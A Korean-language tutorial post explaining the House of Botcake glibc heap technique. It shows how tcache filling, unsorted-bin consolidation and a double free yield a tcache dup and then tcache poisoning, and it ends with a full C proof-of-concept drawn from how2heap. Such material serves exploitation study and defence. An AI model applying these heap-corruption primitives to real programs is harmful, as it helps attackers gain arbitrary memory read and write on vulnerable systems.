[Exploit Tech Analysis][Heap] House of Botcake

tcache에 들어간 청크의 key 필드를 조작하기 힘들 때 tcache dup이 가능하도록 하는 방법이다. 이를 통해 tcache dup이 일어난 후 UAF와 heap base leak이 가능하다면 tcache poisoning을 통해 AAR/AAW 프리미티브 구성이 가능하게 된다.

우선 다음과 같이 목표 사이즈의 tcache를 가득 채우기 위해 청크를 할당하고, 목표 사이즈의 청크 2개와 top chunk와 consolidation을 방지하는 guard chunk 1개를 할당한다. 이후 tcache를 가득 채운다.

void *tcache[7];
for (int i = 0; i < 7; i++)
    tcache[i] = malloc(0x100);

char *prev = malloc(0x100);
char *target = malloc(0x100);
void *guard = malloc(0x10);

for (int i = 0; i < 7; i++)
    free(tcache[i]);

이제 prev, target을 차례대로 해제하면 prev는 unsortedbin으로 들어가게 되고, target도 unsortedbin으로 들어가면서 prev와 인접해 있기 때문에 consolidation이 유도된다.

free(prev);
free(target);
consolidation
consolidation이 일어난 모습

이 상태에서 tcache를 하나 비우고 target을 해제하면, target이 tcache로 들어가게 되면서 서로 다른 bin에 duplication된 상태가 된다.

malloc(0x100);
free(target);

이제 unsortedbin에서 처음 청크를 넘어 다음 청크의 fd를 조작하면 tcache poisoning이 가능해진다.

char *vic = malloc(0x120);
*(unsigned long *)(vic + 0x100 + 0x10) = ((unsigned long)vic >> 12) ^ (0xdeadbeefcafebebe);
result
tcache에서 poisoning이 일어난 모습
#include <stdio.h>
#include <stdlib.h>

int main() {
    void *tcache[7];
    for (int i = 0; i < 7; i++)
        tcache[i] = malloc(0x100);

    char *prev = malloc(0x100);
    char *target = malloc(0x100);
    void *guard = malloc(0x10);

    for (int i = 0; i < 7; i++)
        free(tcache[i]);

    free(prev);
    free(target);

    malloc(0x100);
    free(target);

    char *vic = malloc(0x120);
    *(unsigned long *)(vic + 0x100 + 0x10) = ((unsigned long)vic >> 12) ^ (0xdeadbeefcafebebe);

    return 0;
}

Reference

  1. https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_botcake.c

Leave a comment